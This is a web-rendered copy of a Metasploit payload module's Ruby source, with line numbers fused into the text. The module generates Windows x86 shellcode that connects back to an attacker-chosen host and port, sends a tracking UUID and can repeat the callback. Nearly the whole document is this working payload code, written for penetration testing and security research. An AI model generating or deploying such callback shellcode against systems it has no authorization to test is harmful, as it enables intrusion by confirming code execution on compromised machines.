Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/pingback_reverse_tcp.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 307910include Msf::Payload::Windows11include Msf::Payload::Single12include Msf::Payload::Pingback13include Msf::Payload::Windows::BlockApi14include Msf::Payload::Pingback::Options15include Msf::Payload::Windows::Exitfunk1617def initialize(info = {})18super(19merge_info(20info,21'Name' => 'Windows x86 Pingback, Reverse TCP Inline',22'Description' => 'Connect back to attacker and report UUID (Windows x86)',23'Author' => [ 'bwatters-r7' ],24'License' => MSF_LICENSE,25'Platform' => 'win',26'Arch' => ARCH_X86,27'Handler' => Msf::Handler::ReverseTcp,28'Session' => Msf::Sessions::Pingback29)30)3132def required_space33# Start with our cached default generated size34space = cached_size3536# EXITFUNK 'seh' is the worst case, that adds 15 bytes37space += 153839space40end4142def generate(_opts = {})43encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')44encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')45retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max46pingback_count = datastore['PingbackRetries']47pingback_sleep = datastore['PingbackSleep']48self.pingback_uuid ||= generate_pingback_uuid49uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')50conf = { exitfunk: datastore['EXITFUNC'] }5152asm = %^53cld ; Clear the direction flag.54call start ; Call start, this pushes the address of 'api_call' onto the stack.55#{asm_block_api}56start:57pop ebp58; Input: EBP must be the address of 'api_call'.59; Output: EDI will be the socket for the connection to the server60; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)61reverse_tcp:62push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.63push 'ws2_' ; ...64push esp ; Push a pointer to the "ws2_32" string on the stack.65push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}66mov eax, ebp67call eax ; LoadLibraryA( "ws2_32" )6869mov eax, 0x0190 ; EAX = sizeof( struct WSAData )70sub esp, eax ; alloc some space for the WSAData structure71push esp ; push a pointer to this struct72push eax ; push the wVersionRequested parameter73push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}74call ebp ; WSAStartup( 0x0190, &WSAData );7576set_address:77push #{pingback_count} ; retry counter78push #{retry_count} ; retry counter79push #{encoded_host} ; host in little-endian format80push #{encoded_port} ; family AF_INET and port number81mov esi, esp ; save pointer to sockaddr struct8283create_socket:84push eax ; if we succeed, eax will be zero, push zero for the flags param.85push eax ; push null for reserved parameter86push eax ; we do not specify a WSAPROTOCOL_INFO structure87push eax ; we do not specify a protocol88inc eax ;89push eax ; push SOCK_STREAM90inc eax ;91push eax ; push AF_INET92push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}93call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );94xchg edi, eax ; save the socket for later, don't care about the value of eax after this9596try_connect:97push 16 ; length of the sockaddr struct98push esi ; pointer to the sockaddr struct99push edi ; the socket100push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}101call ebp ; connect( s, &sockaddr, 16 );102103test eax,eax ; non-zero means a failure104jz connected105106handle_connect_failure:107; decrement our attempt count and try again108dec dword [esi+8]109jnz try_connect110failure:111call exitfunk112; this label is required so that reconnect attempts include113; the UUID stuff if required.114connected:115send_pingback:116push 0 ; flags117push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID118call get_pingback_address ; put pingback_uuid buffer on the stack119db #{uuid_as_db} ; PINGBACK_UUID120get_pingback_address:121push edi ; saved socket122push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}123call ebp ; call send124125cleanup_socket:126; clear up the socket127push edi ; socket handle128push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}129call ebp ; closesocket(socket)130^131if pingback_count > 0132asm << %^133mov eax, [esi+12]134test eax, eax ; pingback counter135jz exitfunk136dec [esi+12]137sleep:138push #{(pingback_sleep * 1000)}139push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}140call ebp ;sleep(pingback_sleep * 1000)141jmp create_socket142^143end144asm << %(145; restore the stack back to the connection retry count146dec [esi+8] ; decrement the retry counter147jmp exitfunk148; try again149jnz create_socket150jmp failure151)152if conf[:exitfunk]153asm << asm_exitfunk(conf)154end155Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string156end157end158end159160161